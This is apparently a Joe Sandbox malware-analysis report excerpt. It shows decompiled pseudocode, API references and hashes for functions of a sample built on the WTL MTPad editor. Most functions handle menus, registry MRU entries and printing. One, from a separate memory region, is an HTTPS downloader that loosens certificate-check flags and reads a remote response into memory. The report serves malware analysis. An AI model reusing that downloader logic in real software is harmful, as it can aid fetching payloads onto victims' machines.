Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Close$OpenQueryValue$_memsetlstrcpylstrlen
String ID: Document%i$DocumentCount$Recent Document List$Software\Microsoft\WTL Samples\MTPad
API String ID: 4108690943-1733117880
Opcode ID: dd52fa26514a19264c86e4719bb69930fb05de84a5ca6ac9ed5ae8499e8cbdf7
Instruction ID: 42421f6a9ddeac9f1562b35f71bf0e101ad2c799887c06f4d2a2006e144ddab2
Opcode Fuzzy Hash: dd52fa26514a19264c86e4719bb69930fb05de84a5ca6ac9ed5ae8499e8cbdf7
Instruction Fuzzy Hash: DE810AB1D0066D9BCB609F59CCC8AEEF7B9EB48300F5045AAE609E7640D7789E849F50

Uniqueness

Uniqueness Score: -1.00%

Function 000FD690 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 202
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E000FD690(void* __edx, intOrPtr* __esi) {
				signed int _v8;
				struct _OSVERSIONINFOA _v164;
				char _v275;
				char _v276;
				char _v547;
				char _v548;
				long _v552;
				intOrPtr _v556;
				int _v560;
				signed int _v564;
				struct tagMENUITEMINFOA _v612;
				void* __ebx;
				void* __edi;
				signed int _t61;
				struct HMENU__* _t63;
				int _t64;
				signed int _t66;
				intOrPtr _t76;
				long _t86;
				intOrPtr _t98;
				void* _t100;
				int _t101;
				intOrPtr _t108;
				void* _t128;
				int _t129;
				signed int _t132;
				void* _t133;
				void* _t134;
				void* _t135;

				_t131 = __esi;
				_t61 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t61 ^ _t132;
				_t63 =  *(__esi + 0x10);
				if(_t63 != 0) {
					_t64 = GetMenuItemCount(_t63);
					_t101 = 0;
					_v552 = _t64;
					_v560 = 0;
					if(_t64 > 0) {
						do {
							E00106820( &_v612, 0, 0x30);
							_v612.cbSize = 0x30;
							E00106820( &(_v164.dwMajorVersion), 0, 0x90);
							_t133 = _t133 + 0x18;
							_v164.dwOSVersionInfoSize = 0x94;
							if(GetVersionExA( &_v164) == 0) {
								L8:
								_v612.cbSize = 0x2c;
							} else {
								_t98 = _v164.dwMajorVersion;
								if(_t98 < 5 && (_t98 != 4 || _v164.dwMinorVersion < 0x5a)) {
									goto L8;
								}
							}
							_v612.fMask = 2;
							GetMenuItemInfoA( *(_t131 + 0x10), _t101, 1,  &_v612);
							if(_v612.wID != 0xe110) {
								goto L10;
							}
							break;
							L10:
							_t101 = _t101 + 1;
						} while (_t101 < _v552);
						_v560 = _t101;
					}
					_t129 = 0xe110;
					if( *((intOrPtr*)(_t131 + 0xc)) + 0xe110 > 0xe110) {
						do {
							if(_t129 != 0xe110) {
								DeleteMenu( *(_t131 + 0x10), _t129, 0);
							}
							_t129 = _t129 + 1;
						} while (_t129 <  *((intOrPtr*)(_t131 + 0xc)) + 0xe110);
					}
					_v548 = 0;
					E00106820( &_v547, 0, 0x109);
					_t66 =  *(_t131 + 4);
					_t134 = _t133 + 0xc;
					_v564 = _t66;
					if(_t66 <= 0) {
						L29:
						InsertMenuA( *(_t131 + 0x10), _t101, 0x400, 0xe110, _t131 + 0x14);
						_t122 =  *(_t131 + 0x10);
						EnableMenuItem( *(_t131 + 0x10), 0xe110, 1);
						_v552 = 1;
					} else {
						_t27 = _t66 - 1; // -1
						_t108 = _t27;
						_v552 = 0;
						_t129 = 1;
						_v556 = _t108;
						_t101 = _t66 * 0x104 - 0x104;
						L19:
						while(1) {
							if( *((intOrPtr*)(_t131 + 0x118)) != 0xffffffff) {
								_v276 = 0;
								E00106820( &_v275, 0, 0x103);
								_t76 = _v556;
								_t135 = _t134 + 0xc;
								if(_t76 < 0 || _t76 >=  *(_t131 + 4)) {
									goto L28;
								} else {
									E000F6040( *_t131 + _t101,  &_v276,  *((intOrPtr*)(_t131 + 0x118)));
									_push( &_v276);
									E000F4980( &_v548, "&%i %s", _t129);
									_t134 = _t135 + 0x14;
									goto L26;
								}
							} else {
								if(_t108 < 0 || _t108 >=  *(_t131 + 4)) {
									L28:
									RaiseException(0xc000008c, 1, 0, 0);
									goto L29;
								} else {
									_push( *_t131 + _t101);
									E000F4980( &_v548, "&%i %s", _t129);
									_t134 = _t134 + 0xc;
									L26:
									_t44 = _t129 + 0xe10f; // 0xe111
									_t122 =  *(_t131 + 0x10);
									InsertMenuA( *(_t131 + 0x10), _v560 + _t129 - 1, 0x400, _t44,  &_v548);
									_v556 = _v556 - 1;
									_t86 = _v552 + 1;
									_t101 = _t101 - 0x104;
									_t129 = _t129 + 1;
									_v552 = _t86;
									if(_t86 < _v564) {
										_t108 = _v556;
										continue;
									} else {
										_t101 = _v560;
									}
								}
							}
							goto L30;
						}
					}
					L30:
					DeleteMenu( *(_t131 + 0x10), _v552 + _t101, 0x400);
					return E001059E6(1, _t101, _v8 ^ _t132, _t122, _t129, _t131);
				} else {
					return E001059E6(_t63, _t100, _v8 ^ _t132, __edx, _t128, __esi);
				}
			}

0x000fd690
0x000fd699
0x000fd6a0
0x000fd6a3
0x000fd6aa
0x000fd6bd
0x000fd6c3
0x000fd6c5
0x000fd6cb
0x000fd6d3
0x000fd6e0
0x000fd6eb
0x000fd6fe
0x000fd708
0x000fd70d
0x000fd717
0x000fd729
0x000fd744
0x000fd744
0x000fd72b
0x000fd72b
0x000fd734
0x00000000
0x00000000
0x000fd734
0x000fd75c
0x000fd766
0x000fd772
0x00000000
0x00000000
0x00000000
0x000fd774
0x000fd774
0x000fd775
0x000fd781
0x000fd781
0x000fd78a
0x000fd793
0x000fd795
0x000fd79b
0x000fd7a4
0x000fd7a4
0x000fd7ad
0x000fd7b4
0x000fd795
0x000fd7c6
0x000fd7cd
0x000fd7d2
0x000fd7d5
0x000fd7d8
0x000fd7e0
0x000fd918
0x000fd92b
0x000fd931
0x000fd93c
0x000fd942
0x000fd7e6
0x000fd7ee
0x000fd7ee
0x000fd7f1
0x000fd7fb
0x000fd800
0x000fd806
0x00000000
0x000fd816
0x000fd81d
0x000fd859
0x000fd860
0x000fd865
0x000fd86b
0x000fd870
0x00000000
0x000fd87f
0x000fd891
0x000fd89c
0x000fd8a9
0x000fd8ae
0x00000000
0x000fd8ae
0x000fd81f
0x000fd821
0x000fd907
0x000fd912
0x00000000
0x000fd830
0x000fd834
0x000fd841
0x000fd846
0x000fd8b1
0x000fd8be
0x000fd8c5
0x000fd8d3
0x000fd8df
0x000fd8e5
0x000fd8e6
0x000fd8ec
0x000fd8ed
0x000fd8f9
0x000fd810
0x00000000
0x000fd8ff
0x000fd8ff
0x000fd8ff
0x000fd8f9
0x000fd821
0x00000000
0x000fd81d
0x000fd816
0x000fd94c
0x000fd95e
0x000fd978
0x000fd6ae
0x000fd6bb
0x000fd6bb

APIs

GetMenuItemCount.USER32 ref: 000FD6BD
_memset.LIBCMT ref: 000FD6EB
_memset.LIBCMT ref: 000FD708
GetVersionExA.KERNEL32(?), ref: 000FD721
GetMenuItemInfoA.USER32 ref: 000FD766
DeleteMenu.USER32(?,0000E110,00000000), ref: 000FD7A4
_memset.LIBCMT ref: 000FD7CD

Strings

,, xrefs: 000FD744
Z, xrefs: 000FD73B
&%i %s, xrefs: 000FD836, 000FD89E

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Menu_memset$Item$CountDeleteInfoVersion
String ID: &%i %s$,$Z
API String ID: 3323053169-3841232442
Opcode ID: 6451ade2f9e8f0d3d359223cb0c2c1370ea5a4bdae43ad76f27c52d8da3aff2e
Instruction ID: 3cea41bb2228b3828b9c6af17dd93d91e5ef0a5814701635ba1f35341013ff5c
Opcode Fuzzy Hash: 6451ade2f9e8f0d3d359223cb0c2c1370ea5a4bdae43ad76f27c52d8da3aff2e
Instruction Fuzzy Hash: 0E71B270A0030DABDB24DF64DC89FEAB3B9FB48704F104999E64997681D7B0AA85DF50

Uniqueness

Uniqueness Score: -1.00%

Function 000FB730 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 170
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E000FB730(void* __ecx, void* __edx, void* __edi) {
				signed int _v8;
				short _v11;
				int _v12;
				intOrPtr _v15;
				int _v16;
				intOrPtr _v19;
				char _v20;
				char _v279;
				char _v280;
				int _v284;
				int _v288;
				int _v292;
				char _v296;
				void* __ebx;
				void* __esi;
				signed int _t43;
				int _t66;
				void* _t70;
				void* _t75;
				void* _t79;
				void* _t80;
				void* _t82;
				void* _t96;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t104;
				intOrPtr _t106;
				void* _t108;
				void* _t109;
				signed int _t110;
				void* _t111;

				_t100 = __edi;
				_t96 = __edx;
				_t43 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t43 ^ _t110;
				_t79 = __ecx;
				_v292 = 0;
				_v288 = 0;
				_v284 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				if(E000F17B0("Software\\Microsoft\\WTL Samples\\MTPad", 0x80000001,  &_v292) == 0) {
					_push(__edi);
					_t101 = _v292;
					if(E000F17B0("Recent Document List", _t101,  &_v20) == 0) {
						_t97 =  *(__ecx + 0xc);
						_t102 = _v20;
						_v296 =  *(__ecx + 0xc);
						RegSetValueExA(_t102, "DocumentCount", 0, 4,  &_v296, 4);
						_t106 =  *((intOrPtr*)(_t79 + 4));
						while(_t106 > 0) {
							_v20 = 0;
							_v19 = 0;
							_v15 = 0;
							_v11 = 0;
							E000F4980( &_v20, "Document%i", _t106);
							_v280 = 0;
							E00106820( &_v279, 0, 0x103);
							_t111 = _t111 + 0x14;
							E000FB3E0(_t79, _t102, _t106 + 0xe10f,  &_v280);
							_t66 = lstrlenA( &_v280);
							_t97 =  &_v280;
							RegSetValueExA(_t102,  &_v20, 0, 1,  &_v280, _t66 + 1);
							_t106 = _t106 - 1;
						}
						_t108 =  *((intOrPtr*)(_t79 + 4)) + 1;
						while(_t108 < 0x10) {
							_t97 =  &_v20;
							_v20 = 0;
							_v19 = 0;
							_v15 = 0;
							_v11 = 0;
							E000F4980( &_v20, "Document%i", _t108);
							_t111 = _t111 + 8;
							RegDeleteValueA(_t102,  &_v20);
							_t108 = _t108 + 1;
						}
						_t109 = RegCloseKey;
						if(_t102 != 0) {
							RegCloseKey(_t102);
							_t102 = 0;
						}
						_t80 = _v292;
						if(_t80 != 0) {
							RegCloseKey(_t80);
							_v292 = 0;
							_t80 = _v292;
						}
						if(_t102 != 0) {
							RegCloseKey(_t102);
						}
						if(_t80 != 0) {
							RegCloseKey(_t80);
						}
						_pop(_t103);
						return E001059E6(1, _t80, _v8 ^ _t110, _t97, _t103, _t109);
					} else {
						_t70 = _v20;
						_t82 = RegCloseKey;
						if(_t70 != 0) {
							RegCloseKey(_t70);
						}
						if(_t101 != 0) {
							RegCloseKey(_t101);
						}
						_pop(_t104);
						return E001059E6(0, _t82, _v8 ^ _t110, _t96, _t104, 0);
					}
				} else {
					_t75 = _v292;
					if(_t75 != 0) {
						RegCloseKey(_t75);
					}
					return E001059E6(0, _t79, _v8 ^ _t110, _t96, _t100, 0);
				}
			}

0x000fb730
0x000fb730
0x000fb739
0x000fb740
0x000fb74d
0x000fb75a
0x000fb760
0x000fb766
0x000fb76c
0x000fb76f
0x000fb772
0x000fb77c
0x000fb7a1
0x000fb7a2
0x000fb7ba
0x000fb7e6
0x000fb7e9
0x000fb7fe
0x000fb804
0x000fb80a
0x000fb80f
0x000fb81c
0x000fb820
0x000fb823
0x000fb826
0x000fb82a
0x000fb83d
0x000fb844
0x000fb849
0x000fb85a
0x000fb866
0x000fb86e
0x000fb87e
0x000fb884
0x000fb885
0x000fb88c
0x000fb890
0x000fb8a0
0x000fb8a3
0x000fb8a7
0x000fb8aa
0x000fb8ad
0x000fb8b1
0x000fb8b6
0x000fb8be
0x000fb8c0
0x000fb8c1
0x000fb8c6
0x000fb8ce
0x000fb8d1
0x000fb8d3
0x000fb8d3
0x000fb8d5
0x000fb8dd
0x000fb8e0
0x000fb8e2
0x000fb8ec
0x000fb8ec
0x000fb8f4
0x000fb8f7
0x000fb8f7
0x000fb8fb
0x000fb8fe
0x000fb8fe
0x000fb903
0x000fb915
0x000fb7bc
0x000fb7bc
0x000fb7bf
0x000fb7c7
0x000fb7ca
0x000fb7ca
0x000fb7ce
0x000fb7d1
0x000fb7d1
0x000fb7d3
0x000fb7e5
0x000fb7e5
0x000fb77e
0x000fb77e
0x000fb786
0x000fb789
0x000fb789
0x000fb7a0
0x000fb7a0

APIs

Part of subcall function 000F17B0: RegCloseKey.ADVAPI32(?,?,?,00000000,00000000,00000000,0002001F,00000000,00000000,?), ref: 000F1805

RegCloseKey.ADVAPI32(?,?,?), ref: 000FB789
RegCloseKey.ADVAPI32(000F88A5,00000000,?,?), ref: 000FB7CA
RegCloseKey.ADVAPI32(?,00000000,?,?), ref: 000FB7D1
RegSetValueExA.ADVAPI32(000F88A5,DocumentCount,00000000,00000004,?,00000004,00000000,?,?), ref: 000FB804
_memset.LIBCMT ref: 000FB844

Part of subcall function 000FB3E0: lstrlenA.KERNEL32(?,?,?,?,000F86BD,?,?,?,?,?), ref: 000FB406

lstrlenA.KERNEL32(00000000,?,00000000,?,?,?,?,?), ref: 000FB866
RegSetValueExA.ADVAPI32(000F88A5,00000000,00000000,00000001,00000000,00000001,?,?,?,?,?), ref: 000FB87E
RegDeleteValueA.ADVAPI32(000F88A5,00000000,?,?), ref: 000FB8BE
RegCloseKey.ADVAPI32(000F88A5,?,?), ref: 000FB8D1
RegCloseKey.ADVAPI32(?,?,?), ref: 000FB8E0
RegCloseKey.ADVAPI32(000F88A5,?,?), ref: 000FB8F7
RegCloseKey.ADVAPI32(?,?,?), ref: 000FB8FE

Part of subcall function 000F4980: wvsprintfA.USER32(?,?,?), ref: 000F498C

Strings

Recent Document List, xrefs: 000FB7AC
DocumentCount, xrefs: 000FB7F8
Software\Microsoft\WTL Samples\MTPad, xrefs: 000FB750
Document%i, xrefs: 000FB814, 000FB89B

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Close$Value$lstrlen$Delete_memsetwvsprintf
String ID: Document%i$DocumentCount$Recent Document List$Software\Microsoft\WTL Samples\MTPad
API String ID: 2002973568-1733117880
Opcode ID: 3890ed143e1a2b6dd4127da740a17b02da047777a2356e3806f01dfbf821cf08
Instruction ID: 5f997f5a58d4776dc8d7aa6e6df8640d1a233046b8bb18f37efee90f7c7fda07
Opcode Fuzzy Hash: 3890ed143e1a2b6dd4127da740a17b02da047777a2356e3806f01dfbf821cf08
Instruction Fuzzy Hash: 27516271E0432C9BDB15DF64DD81BFEB7B9EF48700F00459AEA09A7641DBB09A419FA0

Uniqueness

Uniqueness Score: -1.00%

Function 04002900 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 133
networkfilestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04002900(char* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				long _v24;
				CHAR* _v28;
				char _v292;
				void _v296;
				void* _v300;
				long _v304;
				long _v308;
				char* _t54;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_t54 =  *0x400e004; // 0x400c398
					_v12 = InternetOpenA(_t54, 1, 0, 0, 0);
					if(_v12 != 0) {
						_v16 = InternetConnectA(_v12, _a4, 0x1bb, 0x400c3d2, 0x400c3d1, 3, 0, 0);
						if(_v16 != 0) {
							_v20 = HttpOpenRequestA(_v16, "GET", "/", "1.1", 0, 0, 0x80800000, 0);
							if(_v20 != 0) {
								wsprintfA( &_v292, "https://%s", _a4);
								_v28 = "Accept: */*";
								_v24 = 4;
								InternetQueryOptionA(_v20, 0x1f,  &_v296,  &_v24);
								_v296 = _v296 | 0x0000b180;
								InternetSetOptionA(_v20, 0x1f,  &_v296, 4);
								if(HttpSendRequestA(_v20, _v28, lstrlenA(_v28), 0, 0) == 0) {
									_v308 = GetLastError();
								} else {
									_v300 = 0;
									while(_v300 < _a12) {
										_v304 = 0;
										InternetReadFile(_v20, _a8 + _v300, _a12 - _v300,  &_v304);
										if(_v304 != 0) {
											_v300 = _v300 + _v304;
											 *(_a8 + _v300) = 0;
											continue;
										} else {
										}
										break;
									}
									_v8 = _v300;
								}
								InternetCloseHandle(_v20);
							}
							InternetCloseHandle(_v16);
						}
						InternetCloseHandle(_v12);
					}
				}
				return _v8;
			}

0x04002909
0x04002914
0x04002936
0x04002942
0x04002949
0x04002972
0x04002979
0x040029a3
0x040029aa
0x040029c0
0x040029c9
0x040029d0
0x040029e8
0x040029f9
0x04002a0e
0x04002a33
0x04002ab5
0x04002a35
0x04002a35
0x04002a3f
0x04002a4a
0x04002a73
0x04002a80
0x04002a90
0x04002a9f
0x00000000
0x00000000
0x04002a82
0x00000000
0x04002a80
0x04002aaa
0x04002aaa
0x04002acb
0x04002acb
0x04002ad5
0x04002ad5
0x04002adf
0x04002adf
0x04002949
0x04002aeb

APIs

InternetOpenA.WININET(0400C398,00000001,00000000,00000000,00000000), ref: 0400293C
InternetConnectA.WININET(00000000,00000000,000001BB,0400C3D2,0400C3D1,00000003,00000000,00000000), ref: 0400296C
HttpOpenRequestA.WININET(00000000,GET,0400C3D8,1.1,00000000,00000000,80800000,00000000), ref: 0400299D
wsprintfA.USER32 ref: 040029C0
InternetQueryOptionA.WININET(00000000,0000001F,?,00000004), ref: 040029E8
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 04002A0E
lstrlenA.KERNEL32(0400C3EC,00000000,00000000), ref: 04002A1C
HttpSendRequestA.WININET(00000000,0400C3EC,00000000), ref: 04002A2B
InternetReadFile.WININET(00000000,00000000,00000000,00000000), ref: 04002A73
GetLastError.KERNEL32 ref: 04002AAF
InternetCloseHandle.WININET(00000000), ref: 04002ACB
InternetCloseHandle.WININET(00000000), ref: 04002AD5
InternetCloseHandle.WININET(00000000), ref: 04002ADF

Strings

GET, xrefs: 04002994
https://%s, xrefs: 040029B4
1.1, xrefs: 0400298A

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenOptionRequest$ConnectErrorFileLastQueryReadSendlstrlenwsprintf
String ID: 1.1$GET$https://%s
API String ID: 2082764430-1670984264
Opcode ID: cac5eb598011e3025bfd3ce525b4309c6a0d8895317d56ddd471764706ed79e9
Instruction ID: 6d54c3b05ff69590bd14da6a4fff8ed2da31e3bdf774b399ca20979b5291bdcc
Opcode Fuzzy Hash: cac5eb598011e3025bfd3ce525b4309c6a0d8895317d56ddd471764706ed79e9
Instruction Fuzzy Hash: 02510C71944218AFEB24CF94DC89BEEB7B4EB49700F108598F605B62C0C7B8AE94CF54

Uniqueness

Uniqueness Score: -1.00%

Function 000F8E40 Relevance: 27.2, APIs: 18, Instructions: 223
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E000F8E40(struct HWND__* __edx, intOrPtr _a4) {
				int _v8;
				char _v16;
				signed int _v24;
				intOrPtr _v28;
				int _v32;
				int _v36;
				int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				struct HDC__* _v68;
				void* _v72;
				signed int _v76;
				int _v80;
				int _v84;
				signed int _v88;
				int _v92;
				intOrPtr _v96;
				int _v100;
				int _v104;
				long _v116;
				struct HDC__* _v120;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t86;
				signed int _t87;
				signed int _t94;
				int _t102;
				int _t108;
				signed int _t113;
				signed int _t115;
				signed int _t117;
				long _t119;
				signed int _t123;
				signed int _t126;
				int _t129;
				void* _t136;
				int _t153;
				int* _t164;
				struct HDC__* _t166;
				void* _t167;
				intOrPtr _t170;
				void* _t172;
				signed int _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t156 = __edx;
				_push(0xffffffff);
				_push(E0010F718);
				_push( *[fs:0x0]);
				_t175 = _t174 - 0x68;
				_t86 =  *0x159060; // 0x1f9a9bdf
				_t87 = _t86 ^ _t173;
				_v24 = _t87;
				_push(_t87);
				 *[fs:0x0] =  &_v16;
				_t89 = _a4;
				_v96 = _a4;
				_t166 = E000FC830(_t176, _a4 + 0x4b8,  *((intOrPtr*)(_t89 + 0x4c0)));
				_v120 = _t166;
				_v8 = 0;
				if(_t166 != 0) {
					_v100 = GetDeviceCaps(_t166, 0x6f);
					_v104 = GetDeviceCaps(_t166, 0x6e);
					_t94 = GetDeviceCaps(_t166, 0x70);
					SetViewportOrgEx(_t166,  ~_t94,  ~(GetDeviceCaps(_t166, 0x71)), 0);
					_v104 = MulDiv(_v104, 0x5a0, GetDeviceCaps(_t166, 0x58));
					_t102 = MulDiv(_v100, 0x5a0, GetDeviceCaps(_t166, 0x5a));
					_t170 = _v96;
					_v100 = _t102;
					_v80 = _t102;
					_v92 = 0;
					_v88 = 0;
					_v84 = _v104;
					_v92 = MulDiv( *(_t170 + 0x514), 0x5a0, 0x3e8);
					_v84 = _v84 - MulDiv( *(_t170 + 0x51c), 0x5a0, 0x3e8);
					_v88 = _v88 + MulDiv( *(_t170 + 0x518), 0x5a0, 0x3e8);
					_t108 = MulDiv( *(_t170 + 0x520), 0x5a0, 0x3e8);
					_v64 = _v92;
					_v72 = _t166;
					_v68 = _t166;
					_v60 = _v88;
					_v56 = _v84;
					_v52 = _v80 - _t108;
					_v48 = 0;
					_v44 = 0;
					_v40 = _v104;
					_v36 = _v100;
					_v32 = 0;
					_v28 = 0xffffffff;
					_v116 = SendMessageA( *(_t170 + 0x254), 0xe, 0, 0);
					_t113 =  *(_t170 + 0x52c);
					__eflags = _t113;
					if(_t113 != 0) {
						E00105DE2(_t113);
						_t175 = _t175 + 4;
						 *(_t170 + 0x52c) = 0;
					}
					 *(_t170 + 0x530) = 0;
					 *(_t170 + 0x534) = 0;
					do {
						_t115 =  *(_t170 + 0x534);
						__eflags =  *(_t170 + 0x530) - _t115;
						if( *(_t170 + 0x530) != _t115) {
							L14:
							_t117 =  *(_t170 + 0x52c) +  *(_t170 + 0x530) * 4;
							__eflags = _t117;
							if(_t117 != 0) {
								 *_t117 = _v32;
							}
							_t72 = _t170 + 0x530;
							 *_t72 =  *(_t170 + 0x530) + 1;
							__eflags =  *_t72;
							goto L17;
						} else {
							_t153 =  *(_t170 + 0x52c);
							_t164 =  &_v32;
							__eflags = _t164 - _t153;
							if(_t164 < _t153) {
								L8:
								__eflags = _t115;
								if(_t115 != 0) {
									_t126 =  *(_t170 + 0x530) +  *(_t170 + 0x530);
									__eflags = _t126;
									_v76 = _t126;
									if(_t126 >= 0) {
										__eflags = _t126 - 0x1fffffff;
										if(_t126 <= 0x1fffffff) {
											goto L12;
										}
									}
								} else {
									_v76 = 1;
									L12:
									_t129 = E00106254( *(_t170 + 0x52c), _v76, 4);
									_t175 = _t175 + 0xc;
									__eflags = _t129;
									if(_t129 != 0) {
										 *(_t170 + 0x534) = _v76;
										 *(_t170 + 0x52c) = _t129;
										goto L14;
									}
								}
								L17:
								_t119 = SendMessageA( *(_t170 + 0x254), 0x439, 0,  &_v72);
								__eflags = _t119 - _v32 - 0xffffffff;
								if(_t119 - _v32 == 0xffffffff) {
									goto L21;
								} else {
									goto L18;
								}
							} else {
								__eflags = _t164 - _t153 + _t115 * 4;
								if(_t164 < _t153 + _t115 * 4) {
									_push(0x80004005);
									E000F1170(_t164);
									L21:
									__eflags =  *(_t170 + 0x530) - 1;
									E000FCF50( *(_t170 + 0x530) - 1, _t170 + 0x52c);
									_t170 = _v96;
								} else {
									goto L8;
								}
							}
						}
						L22:
						_t156 =  *(_t170 + 0x254);
						SendMessageA( *(_t170 + 0x254), 0x439, 0, 0);
						DeleteDC(_t166);
						_t123 = 1;
						goto L23;
						L18:
						_v32 = _t119;
						__eflags = _t119 - _v116;
					} while (_t119 < _v116);
					goto L22;
				} else {
					_t123 = 0;
				}
				L23:
				 *[fs:0x0] = _v16;
				_pop(_t167);
				_pop(_t172);
				_pop(_t136);
				return E001059E6(_t123, _t136, _v24 ^ _t173, _t156, _t167, _t172);
			}

0x000f8e40
0x000f8e43
0x000f8e45
0x000f8e50
0x000f8e51
0x000f8e54
0x000f8e59
0x000f8e5b
0x000f8e61
0x000f8e65
0x000f8e6b
0x000f8e74
0x000f8e83
0x000f8e85
0x000f8e88
0x000f8e91
0x000f8ea8
0x000f8eb0
0x000f8eb3
0x000f8ec5
0x000f8ee5
0x000f8ef4
0x000f8ef6
0x000f8f01
0x000f8f04
0x000f8f15
0x000f8f18
0x000f8f1b
0x000f8f31
0x000f8f3c
0x000f8f4c
0x000f8f60
0x000f8f6d
0x000f8f73
0x000f8f76
0x000f8f79
0x000f8f82
0x000f8f8b
0x000f8f91
0x000f8f94
0x000f8f9d
0x000f8fa0
0x000f8fa3
0x000f8faa
0x000f8fb7
0x000f8fba
0x000f8fc0
0x000f8fc2
0x000f8fc5
0x000f8fca
0x000f8fcd
0x000f8fcd
0x000f8fd9
0x000f8fdf
0x000f8ff0
0x000f8ff0
0x000f8ff6
0x000f8ffc
0x000f905f
0x000f906b
0x000f906e
0x000f9070
0x000f9075
0x000f9075
0x000f9077
0x000f9077
0x000f9077
0x00000000
0x000f8ffe
0x000f8ffe
0x000f9004
0x000f9007
0x000f9009
0x000f9016
0x000f9016
0x000f9018
0x000f9029
0x000f9029
0x000f902b
0x000f902e
0x000f9030
0x000f9035
0x00000000
0x00000000
0x000f9035
0x000f901a
0x000f901a
0x000f9037
0x000f9044
0x000f9049
0x000f904c
0x000f904e
0x000f9053
0x000f9059
0x00000000
0x000f9059
0x000f904e
0x000f907d
0x000f908f
0x000f909a
0x000f909d
0x00000000
0x00000000
0x00000000
0x00000000
0x000f900b
0x000f900e
0x000f9010
0x000f90ad
0x000f90b2
0x000f90b7
0x000f90bd
0x000f90c4
0x000f90c9
0x00000000
0x00000000
0x00000000
0x000f9010
0x000f9009
0x000f90cc
0x000f90cc
0x000f90dc
0x000f90e3
0x000f90e9
0x00000000
0x000f909f
0x000f909f
0x000f90a2
0x000f90a2
0x00000000
0x000f8e93
0x000f8e93
0x000f8e93
0x000f90eb
0x000f90ee
0x000f90f6
0x000f90f7
0x000f90f8
0x000f9106

APIs

Part of subcall function 000FC830: CreateDCA.GDI32(00000000,?,00000000,?), ref: 000FC8C1

GetDeviceCaps.GDI32(00000000,0000006F), ref: 000F8EA3
GetDeviceCaps.GDI32(00000000,0000006E), ref: 000F8EAB
GetDeviceCaps.GDI32(00000000,00000070), ref: 000F8EB3
GetDeviceCaps.GDI32(00000000,00000071), ref: 000F8EBA
SetViewportOrgEx.GDI32(00000000,00000000,00000000,00000000), ref: 000F8EC5
GetDeviceCaps.GDI32(00000000,00000058), ref: 000F8ECE
MulDiv.KERNEL32(?,000005A0,00000000), ref: 000F8EE0
GetDeviceCaps.GDI32(00000000,0000005A), ref: 000F8EE8
MulDiv.KERNEL32(?,000005A0,00000000), ref: 000F8EF4
MulDiv.KERNEL32(?,000005A0,000003E8), ref: 000F8F1E
MulDiv.KERNEL32(?,000005A0,000003E8), ref: 000F8F34
MulDiv.KERNEL32(?,000005A0,000003E8), ref: 000F8F4A
